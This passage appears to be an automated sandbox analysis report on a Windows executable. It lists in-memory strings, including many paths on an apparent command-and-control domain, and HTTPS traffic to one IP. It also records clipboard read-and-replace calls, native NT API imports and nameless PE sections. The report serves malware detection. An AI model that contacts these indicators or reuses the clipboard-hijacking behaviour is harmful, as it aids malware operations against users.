00000000.00000003.1960422197.00000000044ED000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1695560371.00000000044DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/
Source: un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/O
Source: un30brGAKP.exe, 00000000.00000003.1711893921.00000000044E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/VV
Source: un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1711893921.00000000044E8000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123406180.000000000169A000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1709695695.00000000044E1000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123069189.000000000160E000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1709654838.00000000044E0000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/api
Source: un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744172653.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744199353.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/apiV
Source: un30brGAKP.exe, 00000000.00000002.4123069189.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/apipc
Source: un30brGAKP.exe, 00000000.00000002.4123069189.000000000160E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/apivLK
Source: un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/bm
Source: un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/bu
Source: un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/bua
Source: un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/bul
Source: un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/fe
Source: un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744172653.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744199353.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/g
Source: un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/h
Source: un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/jh
Source: un30brGAKP.exe, 00000000.00000003.1745556611.00000000016A3000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960479286.000000000168B000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744172653.00000000016A0000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1960516681.0000000001699000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1744199353.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.2310542336.00000000016A7000.00000004.00000020.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000002.4123434094.00000000016A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/op
Source: un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/ow
Source: un30brGAKP.exe, 00000000.00000003.1739314221.00000000016A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://impossiblekdo.click/ta=
Source: un30brGAKP.exe, 00000000.00000003.1683976161.000000000452F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: un30brGAKP.exe, 00000000.00000003.1713958381.00000000045FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: un30brGAKP.exe, 00000000.00000003.1713958381.00000000045FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: un30brGAKP.exe, 00000000.00000003.1695501850.0000000004528000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683976161.000000000452F000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1684042935.0000000004528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: un30brGAKP.exe, 00000000.00000003.1684042935.0000000004503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples
Source: un30brGAKP.exe, 00000000.00000003.1695501850.0000000004528000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683976161.000000000452F000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1684042935.0000000004528000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: un30brGAKP.exe, 00000000.00000003.1684042935.0000000004503000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install
Source: un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: un30brGAKP.exe, 00000000.00000003.1714372751.00000000044E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: un30brGAKP.exe, 00000000.00000003.1683487896.000000000451C000.00000004.00000800.00020000.00000000.sdmp, un30brGAKP.exe, 00000000.00000003.1683570068.0000000004519000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: un30brGAKP.exe, 00000000.00000003.1713958381.00000000045FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: un30brGAKP.exe, 00000000.00000003.1713958381.00000000045FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: un30brGAKP.exe, 00000000.00000003.1713958381.00000000045FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: un30brGAKP.exe, 00000000.00000003.1713958381.00000000045FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: un30brGAKP.exe, 00000000.00000003.1713958381.00000000045FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.4:49738 version: TLS 1.2

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: 0_2_037F1000 EntryPoint,GetClipboardSequenceNumber,Sleep,Sleep,OpenClipboard,GetClipboardData,GlobalLock,GlobalAlloc,GlobalLock,GlobalUnlock,EmptyClipboard,SetClipboardData,GlobalFree,GlobalUnlock,CloseClipboard,GetClipboardSequenceNumber,

0_2_037F1000

Source: C:\Users\user\Desktop\un30brGAKP.exe

0_2_037F1000

Source: C:\Users\user\Desktop\un30brGAKP.exe

0_2_037F1000

Source: Yara match

File source: Process Memory Space: un30brGAKP.exe PID: 6868, type: MEMORYSTR

System Summary

PE file has nameless sections

Source: un30brGAKP.exe	Static PE information: section name:
Source: un30brGAKP.exe	Static PE information: section name:
Source: un30brGAKP.exe	Static PE information: section name:
Source: un30brGAKP.exe	Static PE information: section name:
Source: un30brGAKP.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\un30brGAKP.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B6B8 NtReadFile,	0_2_00E2B6B8
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B650 NtSetInformationFile,	0_2_00E2B650
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B634 NtClose,	0_2_00E2B634
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B7F0 NtProtectVirtualMemory,	0_2_00E2B7F0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B710 NtCreateFile,	0_2_00E2B710
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2BBD0 NtClose,VirtualFree,	0_2_00E2BBD0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2ABE4 NtCreateThread,	0_2_00E2ABE4
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2ABB0 NtQueryInformationProcess,	0_2_00E2ABB0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AB50 NtDeviceIoControlFile,	0_2_00E2AB50
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2ACF8 NtCreateUserProcess,	0_2_00E2ACF8
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2ACA0 NtCreateProcessEx,	0_2_00E2ACA0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AC50 NtCreateProcess,	0_2_00E2AC50
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2ADE0 NtQuerySecurityObject,	0_2_00E2ADE0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AD8C NtSetVolumeInformationFile,	0_2_00E2AD8C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AD60 NtOpenKeyEx,	0_2_00E2AD60
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AE6C NtFsControlFile,	0_2_00E2AE6C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AE14 NtNotifyChangeDirectoryFile,	0_2_00E2AE14
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AFE8 NtQueryValueKey,	0_2_00E2AFE8
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AFB4 NtQueryKey,	0_2_00E2AFB4
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AF74 NtEnumerateValueKey,	0_2_00E2AF74
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AF54 NtOpenKey,	0_2_00E2AF54
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2AF04 NtAccessCheck,	0_2_00E2AF04
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B0B0 NtSetValueKey,	0_2_00E2B0B0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B070 NtEnumerateKey,	0_2_00E2B070
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B028 NtCreateKey,	0_2_00E2B028
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B1E0 NtQueryMultipleValueKey,	0_2_00E2B1E0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B180 NtNotifyChangeKey,	0_2_00E2B180
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B2E0 NtWriteFile,	0_2_00E2B2E0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B2C4 NtTerminateProcess,	0_2_00E2B2C4
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B27C NtSetInformationKey,	0_2_00E2B27C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B3F4 NtDuplicateObject,	0_2_00E2B3F4
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B36C NtQueryDirectoryFile,	0_2_00E2B36C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B338 NtQueryObject,	0_2_00E2B338
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B4EC NtUnlockFile,	0_2_00E2B4EC
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B48C NtLockFile,	0_2_00E2B48C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B43C NtQueryVolumeInformationFile,	0_2_00E2B43C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B5EC NtCreateSection,	0_2_00E2B5EC
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B58C NtMapViewOfSection,	0_2_00E2B58C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B558 NtQuerySection,	0_2_00E2B558
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B53C NtUnmapViewOfSection,	0_2_00E2B53C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B684 NtQueryInformationFile,	0_2_00E2B684
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E2B778 NtOpenFile,	0_2_00E2B778

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: 0_2_00E89CA4: CreateFileA,DeviceIoControl,

0_2_00E89CA4

Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D9062F	0_2_00D9062F
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D88790	0_2_00D88790
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D8AC50	0_2_00D8AC50
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DA0D80	0_2_00DA0D80
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DBED50	0_2_00DBED50
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D95050	0_2_00D95050
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DBB150	0_2_00DBB150
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D8D3E9	0_2_00D8D3E9
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DBF670	0_2_00DBF670
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DA5A60	0_2_00DA5A60
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DB7BA0	0_2_00DB7BA0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D91CE0	0_2_00D91CE0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EE2048	0_2_00EE2048
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EDA05C	0_2_00EDA05C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EDE01C	0_2_00EDE01C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00ED813C	0_2_00ED813C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D86270	0_2_00D86270
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D84260	0_2_00D84260
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D943D0	0_2_00D943D0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D88320	0_2_00D88320
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EA4498	0_2_00EA4498
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DBE5B0	0_2_00DBE5B0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DBE640	0_2_00DBE640
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D86700	0_2_00D86700
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E1E97C	0_2_00E1E97C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EC4958	0_2_00EC4958
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E86AC8	0_2_00E86AC8
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EA8AC8	0_2_00EA8AC8
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D8EAA0	0_2_00D8EAA0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EACA18	0_2_00EACA18
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D84B90	0_2_00D84B90
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D9ECF0	0_2_00D9ECF0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E66C28	0_2_00E66C28
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E86D94	0_2_00E86D94
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DA2D70	0_2_00DA2D70
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D82E90	0_2_00D82E90
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EB0EB0	0_2_00EB0EB0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EC4E80	0_2_00EC4E80
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EACF48	0_2_00EACF48
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D9CF70	0_2_00D9CF70
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00F3EF40	0_2_00F3EF40
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E86F24	0_2_00E86F24
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D8B0C0	0_2_00D8B0C0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D890B0	0_2_00D890B0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DBF050	0_2_00DBF050
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DAD1C0	0_2_00DAD1C0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D91196	0_2_00D91196
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DB72D0	0_2_00DB72D0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D9D250	0_2_00D9D250
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E89264	0_2_00E89264
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DA5210	0_2_00DA5210
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D89390	0_2_00D89390
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D874E0	0_2_00D874E0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D8B49D	0_2_00D8B49D
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00ED1434	0_2_00ED1434
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DA3400	0_2_00DA3400
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DA36B0	0_2_00DA36B0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E89600	0_2_00E89600
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D897D0	0_2_00D897D0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EDB8C4	0_2_00EDB8C4
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D838B0	0_2_00D838B0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D858B0	0_2_00D858B0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DBB860	0_2_00DBB860
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E5782C	0_2_00E5782C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00ED780C	0_2_00ED780C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D8991A	0_2_00D8991A
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D8B909	0_2_00D8B909
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E89A40	0_2_00E89A40
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EA9A04	0_2_00EA9A04
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D9DA20	0_2_00D9DA20
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E3BBB0	0_2_00E3BBB0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D8DC62	0_2_00D8DC62
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EE3C38	0_2_00EE3C38
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E45C0C	0_2_00E45C0C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EDDD68	0_2_00EDDD68
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00D85ED0	0_2_00D85ED0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00ECFE4C	0_2_00ECFE4C
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00DA5E00	0_2_00DA5E00
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00E13FF0	0_2_00E13FF0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_00EBDFF0	0_2_00EBDFF0
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_034958C9	0_2_034958C9
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_0349588A	0_2_0349588A
Source: C:\Users\user\Desktop\un30brGAKP.exe	Code function: 0_2_03495899	0_2_03495899

Source: C:\Users\user\Desktop\un30brGAKP.exe

Code function: String function: 00DDCD9C appears 123 times

Source: un30brGAKP.exe

